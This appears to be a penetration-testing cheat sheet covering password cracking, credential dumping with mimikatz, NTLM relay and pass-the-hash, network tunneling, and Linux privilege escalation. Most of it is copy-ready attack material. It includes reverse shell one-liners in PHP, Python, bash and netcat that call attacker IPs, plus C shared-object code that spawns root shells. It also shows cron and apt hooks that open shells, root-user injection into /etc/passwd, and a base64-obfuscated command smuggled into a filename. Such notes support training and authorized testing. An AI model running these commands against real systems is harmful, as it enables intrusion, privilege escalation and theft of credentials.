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README.md

System Attacks

Index

Password Attacks

How Secure Is My Password?

Wordlists

Brute Force Wordlists

Crunch, see crunch | Kali Linux Tools.

Placeholder Character translation
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including space

Examples of usage:

  • Structure of the passwords of the target: [Capital Letter] [2 x lower case letters] [2 x special chars] [3 x numeric]. Run crunch 8 8 -t ,@@^^%%%
  • Passwords between four and six characters in length, containing only the characters 0-9 and A-F: crunch 4 6 0123456789ABCDEF -o crunch.txt
  • Use a pre-defined character-set with -f and include mixalpha to include all lower and upper case letters crunch 4 6 -f /usr/share/crunch/charset.lst mixalpha -o crunch.txt

Mutating wordlists

When password policies are implemented, it is helpful to remove password policies that are guaranteed to fail from the worlist. Starting from a wordlist called demo.txt

  • sed -i '/^1/d' demo.txt remove all number sequences

Many people just append a "1" to the end of an existing password when creating a password with a number value. Create a rule file with $1 that adds a "1" to each password in our wordlist.

  • Add a rule for hashcat with echo \$1 > demo.rule

Many people have a tendency to capitalize the initial character in a password when they are required to use an upper case character.

  • Add a rule with echo '$1\nc' > demo.rule
    • Note: each line in the file is interpreted as a new rule

For special characters:

  • $1 c $! to have Password1!
  • $! $1 c to have Password!1

Other rules

Password Decrypts

  • https://github.com/frizb/PasswordDecrypts
  • "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
msf5 > irb
key="\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0F"].pack('H*'), key
  • aes_decrypt.py
    • you need the key + iv to decrypt an encoded base64

Password Cracking

Tools

John the Ripper

  • john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt user.hash
  • Note for Linux-based systems: first use the unshadow utility to combine the passwd and shadow files from the compromised system unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
  • john -incremental -users:<user list> <file to crack> pure brute force attack, you can use -user:<username> to target a specific user
  • john --show crackme display the passwords recovered
  • john --wordlist=<custom wordlist file> -rules <file to crack> dictionary attack, use -wordlist instead of --wordlist=<custom wordlist file> to use the john default wordlist
  • john hash.txt --format=NT simple attack to attack NT hashes
  • john --rules --wordlist=<custom wordlist file> hash.txt --format=NT using password mutation rules
  • john --rules --wordlist=<custom wordlist file> unshadowed.txt
  • To distribute the load and speed up the cracking process (for multi core CPUs)
    1. Use the options --fork=8 and --node=1-8/16 on the first machine
    2. Use the options --fork=8 and --node=9-16/16 on the first machine

Hashcat

Ophcrack

  1. Install the tables
  2. Load a password file with Load
  3. Click on the Crack button

Password Manager: KeePass

  • Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue search for KeePass database files
  • keepass2john Database.kdbx > keepass.hash format KeePass database for Hashcat with keepass2john
    • remove Database: from keepass.hash
  • hashcat -m 13400 keepass.hash wordlist.txt -r hashcat.rule --force crack the KeePass database hash
    • find the mode of KeePass in Hashcat with hashcat --help | grep -i "KeePass"

SSH Private Key Passphrase

  • Prerequisites: found username, old passwords (or common passwords), password policy and private key id_rsa
    • chmod 600 id_rsa to change the permissions
    • id_rsa needs a password
  1. ssh2john id_rsa > ssh.hash > remove id_rsa:
  2. For JtR, create a file for the rules in the file ssh.rule using the found password policy
    • add [List.Rules:sshRules] as the first line of the file
    • add the rules to JtR config sudo sh -c 'cat /home/kali/Downloads/ssh.rule >> /etc/john/john.conf'
  3. john --wordlist=ssh.passwords --rules=sshRules ssh.hash
  4. Connect to the ssh service with ssh -i id_rsa -p <PORT> <user>@<IP> and insert the found password

Network Service Attack

Tools

Metasploit

  • SSH Brute force: scanner/ssh/ssh_login

Medusa, HTTP htaccess Attack

  • medusa -d All the protocols medusa can interact with
  • medusa -h <IP> -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/admin
    • -m htaccess-protected URL
    • -h target host
    • -u attack the admin user
    • -P wordlist file
    • -M HTTP authentication scheme

Crowbar, Remote Desktop Protocol Attack

  • crowbar --help
  • crowbar -b rdp -s 10.11.0.22/32 -u admin -C ~/password-file.txt -n 1
    • -b specify the protocol
    • -s target server
    • -u username
    • -c wordlist
    • -n number of threads

THC Hydra

  • sudo hydra
  • sudo hydra -L users.txt -P pass.txt <service://server> <options> launch a dictionary attack
    • hydra -L users.txt -P pass.txt telnet://target.server Telnet example
    • hydra -L users.txt -P pass.txt http-get://target.server Password protected web resource
    • Specify a port with -s <PORT> in
  • hydra -L usernames.txt -P passwords.txt 192.168.244.140 smtp -e nsr
  • hydra -L usernames.txt -P usernames.txt 192.168.182.216 ssh -e nsr
  • sudo hydra -L usernames.txt -P passwords.txt 192.168.157.21 smb2 -e nsr
  • hydra -I -f -L custom-wordlist.txt -P custom-wordlist.txt 'http-post-form://192.168.190.208:7080/login.php/session:userid=^USER64^&pass=^PASS64^:C=/:F=403' -e nsr

SSH Attack

  • sudo hydra -l <user> -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1
    • -l specify the target username
    • -P specify a wordlist
    • protocol://IP o specify the target protocol and IP address respectively

HTTP POST Attack

  • sudo hydra http-form-post -U
  • sudo hydra -l user -P /usr/share/wordlists/rockyou.txt <IP> http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
    • -l user name
    • -P wordlist
    • -vV verbose output
    • -f stop the attack when the first successful result is found
    • supply the service module name http-form-post and its required arguments /form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN

Password protected files

  • dfcrack -f Infrastructure.pdf -w /usr/share/wordlists/rockyou.txt
  • rar2john backup.rar > crackme
    • john --wordlist=/usr/share/wordlists/rockyou.txt crackme
    • same for zip2john
  • ssh2john id_rsa > ssh.hash john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
  • office2john RSA-Secured-Document-PII.docx > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
  • keepass2john jeeves.kdbx > jeeves.hash john jeeves.hash
  • fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup1.zip

Custom wordlists

  • Cewl
    • (at first, use just this list) cewl http://192.168.134.126/ --with-numbers -w custom-wordlist.txt
    • cewl -d 5 -m 3 http://192.168.220.115/ -w custom-wordlist.txt
    • cewl --lowercase http://192.168.13444.126/ | grep -v CeWL >> custom-wordlist.txt
    • sort custom-wordlist.txt | uniq -u > final-wordlist.txt
  • generate usernames
    • python2 ~/Documents/scripts/usernamer.py -f full_names.txt
  • cupp -i

More attacks

  • crackmapexec ssh 192.168.220.240 -u usernames.txt -p passwords.txt --continue-on-success
  • AES-256-CBC-PKCS7: https://github.com/mpgn/Padding-oracle-attack
    • python3 exploit.py -c 4358b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488 -l 16 --host 192.168.229.119:2290 -u '/?c=' --error '<span id="MyLabel">0</span>'

Leveraging Password Hashes

Tools

Notes

  • On most Linux systems, hashed passwords are stored in the /etc/shadow file
  • On Windows systems, hashed user passwords are stored in the Security Accounts Manager (SAM). Microsoft introduced the SYSKEY feature (Windows NT 4.0 SP3) to deter offline SAM database password attacks
  • Windows NT-based systems, up to and including Windows 2003, store two different password hashes: LAN Manager (LM) (DES based) and NT LAN Manager (NTLM), wich uses MD4 hashing
  • From Windows Vista on, the operating system disables LM by default and uses NTLM
  • In Windows, get all local users in PowerShell with Get-LocalUser

Identify hashes

mimikatz

  1. C:\Programs\mimikatz.exe
  2. privilege::debug enables the SeDebugPrivilge access right required to tamper with another process
  3. token::elevate elevate the security token from high integrity (administrator) to SYSTEM integrity
  4. lsadump::sam dump the contents of the SAM database

Cracking NTLM

  1. Identify the local users with Get-LocalUser
  2. Run mimikatz.exe as an administrator
  3. Use the command privilege::debug to have SeDebugPrivilege access right enabled
  4. Use the command token::elevate to elevate to SYSTEM user privileges
  5. Extract passwords from the system
    • sekurlsa::logonpasswords attempts to extract plaintext passwords and password hashes from all available sources
    • lsadump::sam extracts the NTLM hashes from the SAM
  6. Run hashcat --help | grep -i "ntlm" to retrieve the correct hash mode
  7. hashcat -m 1000 user.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Cracking Net-NTLMv2 (or NTLMv2)

Capture a Net-NTLMv2 hash

  1. ip a retrieve a list of all interfaces
  2. sudo responder -I <interface>
  3. Wait for a connection, capture the hash and save it as user.hash

Crack the Net-NTLMv2 hash

  1. hashcat --help | grep -i "ntlm"
  2. hashcat -m 5600 user.hash /usr/share/wordlists/rockyou.txt --force

Relaying Net-NTLMv2

  1. Instead of printing a retrieved Net-NTLMv2 hash, we'll forward it to <IP> that it's the target machine
  2. sudo impacket-ntlmrelayx --no-http-server -smb2support -t <IP> -c "powershell -enc <BASE64>"
    • use it to execute a reverse shell on your machine on port <PORT> and run a listener nc -nvlp <PORT>
    • see how to encode one-liner in base64 here
  3. Now, if a user tries to connect to our machine with dir \\<ATTACKER-IP>\test, it will forward the request to <IP> and execute the command specified in the flag -c

Pass-the-Hash

Note: this attack works for Administrator user (except for certain conditions). Since Windows Vista, all Windows versions have UAC remote restrictions enabled by default.

  • From Mimikatz, run privilege::debug, token::elevate and lsadump::sam to obtain the NTLM hash of Administrator
  • Gain access to a SMB share with smbclient \\\\<IP>\\<SMB-SHARE> -U Administrator --pw-nt-hash <Administrator-HASH>
  • Gain an interactive shell with impacket-psexec -hashes <LMHash>:<NTHash> <username>@<ip> <command>
    • This will always give a shell as SYSTEM, use impacket-wmiexec to obtain a shell as the user used for authentication
    • <command> is optional. If left blank, cmd.exe will be executed
    • See also: impacket-scripts

Other notes:

Port Redirection and Tunneling

Tools and notes

Port Forwarding

rinetd

  1. Edit /etc/rinetd.conf, add 0.0.0.0 <Local-PORT> <IP> <DEST-PORT>
    • This means that all traffic received on port <Local-PORT> of our machine, listening on all interfaces (0.0.0.0), regardless of destination address, will be forwarded to <IP>:<DEST-PORT>.
  2. Restart rinetd sudo service rinetd restart and confirm that the port is bound with ss -antp | grep "80"

Socat

  • socat -ddd TCP-LISTEN:<PORT>,fork TCP:<DEST-IP>:<DEST-PORT>
    • The traffic received on port <PORT> will be forwarded to <DEST-IP>:<DEST-PORT>
  • Example with SSH socat TCP-LISTEN:2222,fork TCP:<IP>:22
  • Example with psql -h 192.168.50.63 -p 2345 -U postgres socat -ddd TCP-LISTEN:2345,fork TCP:<IP>:5432

SSH Tunneling

See: "SSH Tunneling: Examples, Command, Server Config"

SSH Local Port Forwarding

  • Give a reverse shell TTY functionality with Python3's pty: python3 -c 'import pty; pty.spawn("/bin/bash")'
  • ssh -R <local-port>:127.0.0.1:<target-port> <username>@<local-machine>
  • ssh -N -L <bind_address>:<port>:<host>:<hostport> <username>@<address>
    • Listen on all interfaces (<bind_address> = 0.0.0.0) on port <port>, then forward all packets through the SSH tunnel (<username>@<address>) to port <hostport> on the host <host>
    • Verify it with ss -ntplu

SSH Dynamic Port Forwarding

  1. From the reverse shell, run ssh -N -D <address to bind to>:<port to bind to> <username>@<SSH server address>
  2. Now we must direct our tools to use this proxy with ProxyChains
    • Edit the ProxyChains configuration file /etc/proxychains.conf, add the SOCKS5 proxy socks5 <IP-reverse-shell> <port to bind to>
  3. To run the tools through the SOCKS5 proxy, prepend each command with ProxyChains
    • Example with nmap: sudo proxychains nmap -vvv -sT --top-ports=20 -Pn <IP>
    • Example with SMB: proxychains smbclient -L //<IP>/ -U <username> --password=<password>

SSH Remote Port Forwarding

  1. Start ssh on your local machine
  2. On the reverse shell: ssh -N -R [bind_address]:port:host:hostport [username@address]
    • Set [bind_address] as 127.0.0.1
    • [username@address] of your local ssh

SSH Remote Dynamic Port Forwarding

  1. On the reverse shell, run python3 -c 'import pty; pty.spawn("/bin/bash")' and ssh -N -R <PORT> [username@address]
    • [username@address] of your local ssh
  2. Edit the ProxyChains configuration file /etc/proxychains.conf, add the SOCKS5 proxy socks5 127.0.0.1 <PORT>
  3. To run the tools through the SOCKS5 proxy, prepend each command with ProxyChains

Sshuttle

  1. Note: it requires root privileges on the SSH client and Python3 on the SSH server
  2. From the reverse shell, run socat TCP-LISTEN:2222,fork TCP:<forward-IP>:<forward-PORT>
  3. sshuttle -r <ssh-connection-string> <subnet> ...
    • Specify the SSH connection string we want to use <ssh-connection-string> and the subnets that we want to tunnel through this connection (ex. 10.74.23.0/24 172.16.163.0/24)

ssh.exe

  1. Start SSH server on Kali sudo systemctl start ssh
  2. Connect to the Windows machine. Note: OpenSSH bundled with Windows has to be higher than 7.6 for remote dynamic port forwarding
  3. ssh -N -R <PORT> <kali>@<IP>
  4. Edit the ProxyChains configuration file /etc/proxychains.conf, add the SOCKS5 proxy to it (socks5 127.0.0.1 <PORT>).
  5. To run the tools through the SOCKS5 proxy, prepend each command with ProxyChains

Plink.exe

The general format is: plink.exe <user>@<kali-IP> -R <kaliport>:<target-IP>:<target-port>

The first time plink connects to a host, it will attempt to cache the host key in the registry. For this reason, we should pipe the answer to the prompt with the cmd.exe /c echo y command. The final result will look like cmd.exe /c echo y | plink.exe <user>@<kali> -R <kaliport>:<target-IP>:<target-port>.

Netsh

Local port forwarding

netsh interface portproxy add v4tov4 listenport=<PORT> listenaddress=<IP> connectport=<forward-PORT> connectaddress=<forward-IP>

  • use netsh (interface) context to add an IPv4-to-IPv4 (v4tov4) proxy (portproxy)
  • listening on <target-IP> (listenaddress=target-IP), port <target-port> (listenport=<target-port>)
  • that will forward to <forward-IP> (connectaddress=<forward-IP>), port <forward-port> (connectport=<forward-port>)

allow inbound traffic on TCP port 4455

netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=<IP> localport=<port> action=allow

Chisel

Port forwarding with chisel: https://exploit-notes.hdks.org/exploit/network/port-forwarding/port-forwarding-with-chisel/

./chisel server -p 9999 --reverse
./chisel client 192.168.45.193:9999 R:8000:socks                <# dynamic port forwarding #>
./chisel.exe client 192.168.45.193:9999 R:8090:localhost:80     <# port forwarding port 80 
                                                                     connect then to localhost:8090 
                                                                     usefull for /phpmyadmin/ #>

Proxy

  1. on the attacker machine: chisel server -p LISTEN_PORT --reverse
  2. on the remote machine: .\chisel.exe client ATTACKING_IP:LOCAL_OPEN_PORT R:LISTEN_PORT:socks

Reverse SOCKS Proxy

  1. On the attacker machine: chisel server -p LISTEN_PORT --reverse
  2. On the remote machine: ./chisel client ATTACKING_IP:LISTEN_PORT R:socks
  3. sudo nano /etc/proxychains.conf comment everything under [ProxyList] and add a new line socks5 127.0.0.1 LISTEN_PORT
    • you can also add FoxyProxy > socks5 127.0.0.1 4242

Forward SOCKS Proxy

  1. On the remote machine: ./chisel server -p LISTEN_PORT --socks5
  2. On the attacker machine: chisel client TARGET_IP:LISTEN_PORT PROXY_PORT:socks

Remote Port Forward

  1. On the attacker machine: ./chisel server -p LISTEN_PORT --reverse
  2. On the remote machine: ./chisel client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:TARGET_PORT

Local port forwarding

  1. On the remote machine: chisel server -p LISTEN_PORT
  2. On the attacker machine: .\chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT

HTTP Tunneling

  1. The machines are KALI01, DMZ01 and INTERNAL01
    • KALI01 will listen on TCP port 1080, a SOCKS proxy port
  2. In KALI01, copy the Chisel binary to the Apache2 server folder sudo cp $(which chisel) /var/www/html/ and start Apache2 sudo systemctl start apache2
  3. Deliver the Chisel executable to the DMZ
  4. On KALI01, run Chisel chisel server --port 8080 --reverse and run sudo tcpdump -nvvvXi <INTERFACE> tcp port 8080
    • ip a retrieve the list of all interfaces
  5. On DMZ01, run the Chisel client command/tmp/chisel client <KALI01-IP>:8080 R:socks > /dev/null 2>&1 &
  6. Now, you should be able to see inbound Chisel traffic and an incoming connection in the Chisel server
  7. Check if the SOCKS port has been opened by the KALI01 Chisel server with ss -ntplu
  8. How to use the HTTP Tunnel
    • SSH with Ncat: Pass an Ncat command to ProxyCommand to use the socks5 protocol and the proxy socket at 127.0.0.1:1080 to connect to INTERNAL01
      • ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' <username>@<IP>
      • %h and %p tokens represent the SSH command host and port values
    • Another option is to use ProxyChains by adding socks5 127.0.0.1 1080 to /etc/proxychains.conf and prepending sudo proxychains to each command we want to run

DNS Tunneling

Dnsmasq to setup a DNS resolver

  1. Setup: WAN, DMZ and INTERNAL
  2. From a machine inside WAN, setup a DNS server by using a software like Dnsmasq
    • sudo dnsmasq -C dnsmasq.conf -d. An example of configuration (see also dnsmasq.conf.example): 
      # Do not read /etc/resolv.conf or /etc/hosts
no-resolv
no-hosts

# Define the zone
auth-zone=organization.corp
auth-server=organization.corp

# TXT record
txt-record=www.organization.corp,some info.
txt-record=www.organization.corp,some other info.
    • sudo tcpdump -i ens192 udp port 53

dnscat2

  1. Setup: WAN, DMZ and INTERNAL
  2. Start dnscat2-server organization.corp from WAN and connect from INTERNAL to it with ./dnscat feline.corp
  3. From dnscat2-server > window -i 1 > listen 127.0.0.1:<lister-PORT> <IP>:<PORT>
    • <IP>:<PORT> = machine from INTERNAL

Metasploit Portfwd

Linux Privilege Escalation

Resources

Strategy

  1. Check your user with id and whoami
  2. Run linux-smart-enumeration with increasing levels
    • starting from lvl 0 to 2, ./lse.sh -l 0
  3. Run other scripts like lse_cve.sh
  4. Check for default / weak credentials
    • example: username:username, root:root
  5. Check the directory opt/ for possible apps to exploit
  6. If the scripts fail, run the commands in this section and see Basic Linux Privilege Escalation

Information gathering

# enumerate users
cat /etc/passwd

# enumerate the Hostname
hostname

# enumerate the Operating System Version and Architecture
cat /etc/issue
cat /etc/*-release
cat /etc/os-release
uname -a
uname -r
arch

# enumerate running processes and services
ps axu

# enumerate networking information
ip a
/sbin/route
routel
ss -anp

# inspect custom IP tables
cat /etc/iptables/rules.v4

# enumerate scheduled tasks
ls -lah /etc/cron*
cat /etc/crontab
crontab -l
sudo crontab -l

# enumerate installed applications and patch levels
dpkg -l

# find all writable files
find / -writable -type d 2>/dev/null

# find all writable files in /etc
find /etc -maxdepth 1 -writable -type f

# find all readable files in /etc
find /etc -maxdepth 1 -readable -type f

# enumerate readable/writable files and directories
find / -writable -type d 2> /dev/null

# enumerate unmounted disks
cat /etc/fstab
mount
/bin/lsblk
lsblk

# enumerate device drivers and kernel modules
lsmod
/sbin/modinfo libata

# enumerating binaries that AutoElevate
find / -perm -u=s -type f 2>/dev/null

# find SSH private keys
find / -maxdepth 5 -name .ssh -exec grep -rnw {} -e 'PRIVATE' \; 2> /dev/null

Reverse Shell

PHP

php -r '$sock=fsockopen("<IP>",<PORT>);exec("/bin/sh -i <&3 >&3 2>&3");'

Python

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Bash

#!/bin/bash
/usr/bin/bash -i >& /dev/tcp/192.168.45.226/445 0>&1

More shells

Service Exploits

  • ps aux | grep "^root" Show all process running as root
  • Identify the program version with <program> --version or <program> -v
    • On Debian like systems, run dpkg -l | grep <program>
    • On systems that use rpm, run rpm –qa | grep <program>

Check services running on localhost

  • netstat -tlpn
  • ss -antp
  • ps -auxwf

Check which services run as root

  • find / -user root -perm -4000 -exec ls -ldb {} \; 2> /dev/null
ps -aux | grep root | grep sql
ss -antp
  • note: if you find relayd
    • /usr/sbin/relayd -C /etc/shadow
    • now you can read /etc/shadow

MySQL service running as root with no password assigned

  • Run mysqld --version
  • One great exploit is the following: MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) takes advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service.
    • Once the UDF is installed, run the following command in the MySQL shell: mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');
    • Run /tmp/rootbash for a root shell: /tmp/rootbash -p

Weak File Permissions

Readable /etc/shadow

  • Check if /etc/shadow is readable with ls -l /etc/shadow
  • cat /etc/shadow > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 1800 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt
  • shadow + passwd 
    unshadow passwd shadow > passwords
john --wordlist=/usr/share/wordlists/rockyou.txt passwords

Readable /etc/passwd

  • if you find hashes 
    john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 1800 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt

Writable /etc/shadow

  • Check if /etc/shadow is writable with ls -l /etc/shadow
  • Generate a new password hash with mkpasswd -m sha-512 newpass
  • Substitute the root password hash with the new hash with nano /etc/shadow

Writable /etc/passwd

  1. Check if /etc/passwd is writable with ls -l /etc/passwd
  2. Generate a new password hash with openssl passwd newpass
  3. Substitute the root password hash with the new hash with nano /etc/passwd
    • or add a new root user to /etc/passwd with echo 'root2:<password hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
      • test the new user with su root2 and id

Exposed Confidential Information

  • env inspect environment variables
    • /etc/environment
  • cat .bashr ispect .bashrc
  • watch -n 1 "ps -aux | grep pass" harvest active processes for credentials
  • sudo tcpdump -i lo -A | grep "pass" perform password sniffing
  • history
  • cat ~/.profile

Password disclosure

  • watch -n 1 "ps -aux | grep pass"
  • sudo tcpdump -i lo -A | grep "pass"
  • search for passwords
    • grep -rnw . -ie password --color=always 2>/dev/null
    • grep -rnw . -ie tom --color=always 2>/dev/null
    • grep -rnw . -ie DB_PASSWORD --color=always 2>/dev/null
  • check wp-config.php in:
    • /var/www/html
    • /srv/http

SSH

  • find / -maxdepth 5 -name .ssh -exec grep -rnw {} -e 'PRIVATE' \; 2> /dev/null find SSH keys

Sudo

Classic method

  • Try to run sudo su
  • If su doesn't work, try with the followings
    • sudo -s
    • sudo -i
    • sudo /bin/bash
    • sudo passwd

Shell Escape Sequences

  • sudo -l list the programs which sudo allows your user to run
  • See GTFOBins and search for the program names

If you find something like the following, see if there are any services that can be restarted to have reverse shell as root

(root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff
  • sudo /sbin/reboot

Path traversal:

  1. sudo -l > (ALL) NOPASSWD: /usr/bin/tee /var/log/httpd/*
  2. add new user 'toor:password' > echo "toor:$(openssl passwd password):0:0:root:/root:/bin/bash") | sudo tee /var/log/httpd/../../../etc/passwd

Environment Variables

  • sudo -l check which environment variables are inherited, look for the env_keep options
    • LD_PRELOAD loads a shared object before any others when a program is run
    • LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first
  • First solution
    • Create a shared object with gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c, use the code below 
      #include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setresuid(0,0,0);
	system("/bin/bash -p");
}
    • sudo LD_PRELOAD=/tmp/preload.so <program name> Run one of the programs you are allowed to run via sudo while setting the LD_PRELOAD environment variable to the full path of the new shared object
  • Second solution, with apache
    • See which shared libraries are used by apache ldd /usr/sbin/apache2
    • Create a shared object with the same name as one of the listed libraries, gcc -o /tmp/libcrypt.so.1 -shared -fPIC /tmp/library_path.c
    • #include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
	unsetenv("LD_LIBRARY_PATH");
	setresuid(0,0,0);
	system("/bin/bash -p");
}
    • Run apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp, where the output of the compiled shared object is

sudoedit If you find Sudo < 1.8.15 and something like: (root) NOPASSWD: sudoedit /home/*/*/recycler.ser

Cron Jobs

Run:

  • cat /etc/crontab, crontab -l, pspy
  • grep "CRON" /var/log/syslog

File Permissions

  • View the contents of the system-wide crontab cat /etc/crontab, the cron log file grep "CRON" /var/log/syslog and see cron jobs, locate the file run with locate <program> and see the permissions with ls -l <program full path>
  • If one of them is world-writable, substitute it with the following 
    #!/bin/bash
bash -i >& /dev/tcp/<Your-IP>/4444 0>&1
    • You can also try with rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Your-IP> 4444 >/tmp/f
  • Open a listener with nc -nvlp 4444

PATH Environment Variable

  • See Task 9 - Linux PrivEsc | TryHackMe
  • The crontab PATH environment variable is by default set to /usr/bin:/bin and can be overwritten in the crontab file
  • It might be possible to create a program or script with the same name as the cron job if the program or script for a cron job does not utilize an absolute path and one of the PATH directories is editable by our user.

Wildcards

  • See Task 10 - Linux PrivEsc | TryHackMe
  • Generate a reverse shell with msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o shell.elf
    • make it executable chmod +x shell.elf
  • run other commands as part of a checkpoint feature
    • touch /home/user/--checkpoint=1
    • touch /home/user/--checkpoint-action=exec=shell.elf

apt running as root

  1. cd /etc/apt/apt.conf.d/
  2. echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.114 1234 >/tmp/f"};' > shell

SUID / SGID Executables

setuid + GTFOBins

  • Check for setuid binaries on the machine
    • find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
    • find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
  • Use GTFOBins to elevate your privileges

wget + setuid

  • You can use it to add a root user
    1. obtain /etc/passwd from the victim
    2. add the new user echo "root2:bWBoOyE1sFaiQ:0:0:root:/root:/bin/bash" >> passwd
      • password hash generated with openssl passwd mypass
    3. overwrite /etc/passwd > wget http://ATTACKERIP/passwd -o /etc/passwd

Known Exploits

  • Search for all the SUID/SGID executables on the Linux Machine find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
  • Use Exploit-DB, Google and GitHub to find known exploits

Shared Object Injection

  • See Task 12 - Linux PrivEsc | TryHackMe
  • strace <program to run> 2>&1 | grep -iE "open|access|no such file" run strace and search the output for open/access calls and for "no such file" errors
  • #include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
	setuid(0);
	system("/bin/bash -p");
}

Environment Variables

Abusing Shell Features (#1)

  • See Task 14 - Linux PrivEsc | TryHackMe

  • "In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path."

    • function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service

Abusing Shell Features (#2)

  • See Task 15 - Linux PrivEsc | TryHackMe. Note: This doesn't work on Bash versions 4.4 and above

  • "When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements."

    • env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' <program>
    • /tmp/rootbash -p

Passwords & Keys

  • View the content of history with cat ~/.*history | less and search for secrets
  • Search for config files as they often contain passwords in plaintext or other reversible formats (example: *.ovpn)
  • Search for backups and hidden files
    • ls -la / look for hidden files & directories in the system root
    • Other common locations to check
      • ls -la /home/user
      • ls -la /tmp
      • ls -la /var/backups
    • See Task 18 - Linux PrivEsc | TryHackMe

Kernel Exploits

CVE

  • see /etc/issue
  • cat /etc/*release*
  • CVE-2021-4034 > PwnKit Local Privilege Escalation
  • Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation
  • Dirty COW
  • See the general services that are running. For example, you may have found several web ports open during the initial phase, and found different services. See if there are any CVEs or exploits for PE

find with exec

  • Also known as "Abusing Setuid Binaries"
  • find /home/username/Desktop -exec "/usr/bin/bash" -p \;
  • See more here: find | GTFOBins

find PE

  • Example cron job running clean-tmp.sh: 
    jane@assignment:~$ cat /usr/bin/clean-tmp.sh 
#! /bin/bash
find /dev/shm -type f -exec sh -c 'rm {}' \;
    • Exploit: 
      jane@assignment:~$ touch /dev/shm/'$(echo -n Y2htb2QgdStzIC9iaW4vYmFzaA==|base64 -d|bash)'
jane@assignment:~$ bash -p

Abusing capabilities

  • /usr/sbin/getcap -r / 2>/dev/null enumerate capabilities
    • Search for cap_setuid+ep, meaning that setuid capabilities are enabled, effective and permitted
  • Search what you need in GTFOBins
    • Example with Perl: perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Escape shell

Docker

Simple Docker cheatsheet

docker-compose up					run docker
docker ps						see running docker
docker ps -a						see every docker in the machine
docker images						see docker images installed
docker stop <docker-id>					stop a docker
docker exec -it <docker-id> bash			enter a docker
docker rmi <docker-id>					remove a docker

An example: docker-tomcat-tutorial

If your user is part of the 'docker' group

  • find an image with docker images
  • docker run -v /:/mnt --rm -it IMAGE chroot /mnt sh

Escape container

Process

  1. List host's disks
    • fdisk -l
  2. Attempt mount disklo
    • mkdir /tmp/mnt1
    • mount /dev/sda1 /tmp/mnt1
    • cd /tmp/mnt1
  3. Now you can navigate sda1 in /tmp/mnt1
  • If you find an internal ip / service (maybe with ifconfig, netstat -ano or cat /etc/hosts), try this
    1. ssh -l root 172.17.0.2

Docker Container Escape via SNMP

  • SNMP test
    1. Look for .snmpd.conf (maybe in /var/backups)
      • found community string: rocommunity 53cur3M0NiT0riNg
      • Found NET-SNMP-EXTEND-MIB tables (nsExtendConfigTable, nsExtendOutput1Table and nsExtendOutput2Table) > this means RCE
    2. sudo download-mibs
    3. set mibs +ALL in /etc/snmp/snmp.conf
    4. snmpwalk -v2c -c 53cur3M0NiT0riNg 192.168.190.113 nsExtendOutput1
      • notice if the query works
  • docker escape
    1. VICTIM: 
      echo 'bash -c "bash -i >& /dev/tcp/192.168.45.216/4444 0>&1"' > /tmp/shtest
chmod +x /tmp/shtest
